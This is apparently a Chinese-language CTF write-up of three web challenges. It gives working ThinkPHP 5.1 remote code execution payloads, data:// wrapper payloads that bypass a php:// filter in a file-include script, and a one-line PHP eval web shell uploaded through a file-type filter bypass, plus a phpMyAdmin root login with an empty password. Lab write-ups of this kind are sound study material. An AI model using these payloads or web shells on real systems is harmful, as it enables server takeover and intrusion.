php rce
首先拿到就把所有的按钮点了一遍,但是好像都挺正常的。
搜索了之后发现ThinkPHP5.1存在代码执行漏洞,也得到了相应的代码。
远程执行命令payload(不唯一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写文件payload(不唯一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i
稍加修改,查找有关flag的文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22
显示目录路径以及文件名称,继续使用cat 命令显示信息
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
/*
过滤了php://伪协议
php协议有 php:// data phar:// 等等
*/
第一种方法
构造data伪协议 ?page=data://text/plain,<?php%20system("ls")?>
在用cat 命令显示内容
?page=data://text/plain,<?php%20system("cat%20fl4gisisish3r3.php")?>
flag在网页源码中
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
第二种方法
在扫描的时候发现了,phpmyadmin,想试一下进入数据库,进入后账号root,密码为空,直接登录。
登陆后写入一句话木马使用蚁剑连接
upload1
第一种方法
限制上传png以及jpg图片文件,我们先写个一句话木马<?php @eval($_POST['hello']);?>
,保存为png格式进行上传,然后使用burpsuit拦截包,修改文件后缀
显示路径
然后使用蚁剑链接即可获得flag
第二种方法
检察源码时发现了check()函数,此函数是进行过滤,所以我们也可以直接将此函数删除再进行直接上传我们的一句话木马php文件。
上传成功,之后使用蚁剑即可。
第四周 2020/8/10